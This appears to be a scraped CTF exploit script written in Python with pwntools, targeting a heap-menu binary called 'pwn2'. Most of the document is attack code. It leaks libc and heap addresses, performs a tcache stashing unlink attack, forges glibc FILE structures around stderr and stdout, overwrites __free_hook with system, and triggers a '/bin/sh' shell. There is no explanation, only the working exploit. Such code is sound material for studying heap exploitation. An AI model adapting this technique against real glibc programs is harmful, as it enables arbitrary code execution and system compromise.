1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118
| from pwn import * io=process('./pwn2') elf=ELF('./pwn2') libc=elf.libc context.log_level='debug'
def add(size): io.sendlineafter('>> ','1') io.sendlineafter('size: ',str(size))
def dele(index): io.sendlineafter('>> ','2') io.sendlineafter('index: ',str(index)) def edit(index,content): io.sendlineafter('>> ','3') io.sendlineafter('index: ',str(index)) io.sendafter('content: ',content) def show(index): io.sendlineafter('>> ','4') io.sendlineafter('index: ',str(index)) def exp(): for i in range(4): add(0x1f8)#0~3 for i in range(2): add(0xe8)#4~5 for i in range(6): dele(4) edit(4,'\x00'*0x10) for i in range(7): dele(3) edit(3,'\x00'*0x10) dele(0) dele(2) show(0) io.recvuntil('ent: ') libc_base=u64(io.recv(6)+'\x00\x00')-libc.symbols['__malloc_hook']-96-16 binsh=libc_base+libc.search('/bin/sh').next() system=libc_base+libc.symbols['system'] free_hook=libc_base+libc.symbols['__free_hook'] global_max_fast=libc_base+0x1eeb80 print('libc_base',hex(libc_base)) show(2) io.recvuntil('ent: ') heap_base=u64(io.recv(6).ljust(8,'\x00'))+0x110 print('heap_base',hex(heap_base)) add(0x108)#6 add(0x108)#7 add(0x108)#8 edit(2,'\x00'*0x108+p64(0xf1)+p64(heap_base)+p64(libc_base+0x1eeb80-0x10)) add(0xe8)#9 #tcache_stashing_unlink over dele(5) edit(5,p64(libc_base+libc.symbols['_IO_2_1_stderr_']+0x90-1)) add(0xe8)#10 add(0xe8)#11 edit(11,'\x00'+p64(0)+p64(0x20f)) dele(3) edit(3,p64(libc_base+libc.symbols['_IO_2_1_stderr_']+0xa0)) add(0x1f8)#12 add(0x1f8)#13 payload='\x00'*0x28+p64(libc.symbols['_IO_file_jumps']+libc_base) payload+=p64(0xfbad2887)+p64(libc_base+libc.symbols['_IO_2_1_stdout_']+131)*7 payload+=p64(libc_base+libc.symbols['_IO_2_1_stdout_']+132)+p64(0)*4 payload+=p64(libc_base+libc.symbols['_IO_2_1_stdin_'])+p64(1)+'\xff'*8 payload+='\x00'*3+'\x0a'+p32(0)+p64(libc_base+0x1ee4c0) payload+='\xff'*8+p64(0)+p64(libc_base+0x1eb880)+p64(0)*3 payload+='\xff'*4+'\x00'*0x14+p64(libc_base+libc.symbols['_IO_file_jumps']) payload+=p64(libc_base+libc.symbols['_IO_2_1_stderr_']) payload+=p64(libc_base+libc.symbols['_IO_2_1_stdout_']) payload+=p64(libc_base+libc.symbols['_IO_2_1_stdin_']) payload+=p64(0) payload=payload.ljust(0x1f0,'\x00') payload+=p64(0x20f) edit(13,payload) def encode(a,b): offset=b-0x7f0b79060000 c='' for i in range(0x1f*2): if u64(a[i*8:i*8+8])>0x7f0000000000 and u64(a[i*8:i*8+8])<0x800000000000: c+=p64(u64(a[i*8:i*8+8])+offset) else: c+=p64(u64(a[i*8:i*8+8])) return c fd=open('./2','r') for i in range(0x11): dele(3) edit(3,p64(libc_base+libc.symbols['_IO_2_1_stderr_']+0xa0+0x1f8*(i+1))) add(0x1f8)#14~15\ add(0x1f8) payload=fd.read(0x1f0).ljust(0x1f0,'a') fd.read(8) payload=encode(payload,libc_base) payload+=p64(0x20f) edit(15+i*2,payload) dele(3) edit(3,p64(libc_base+libc.symbols['_IO_2_1_stderr_']+0xa0+0x1f8*(i+2))) add(0x1f8) add(0x1f8) gdb.attach(io) payload='\x00'*0x148+p64(system) edit(15+i*2+2,payload) edit(0,'/bin/sh\x00') dele(0)
io.interactive() exp()
|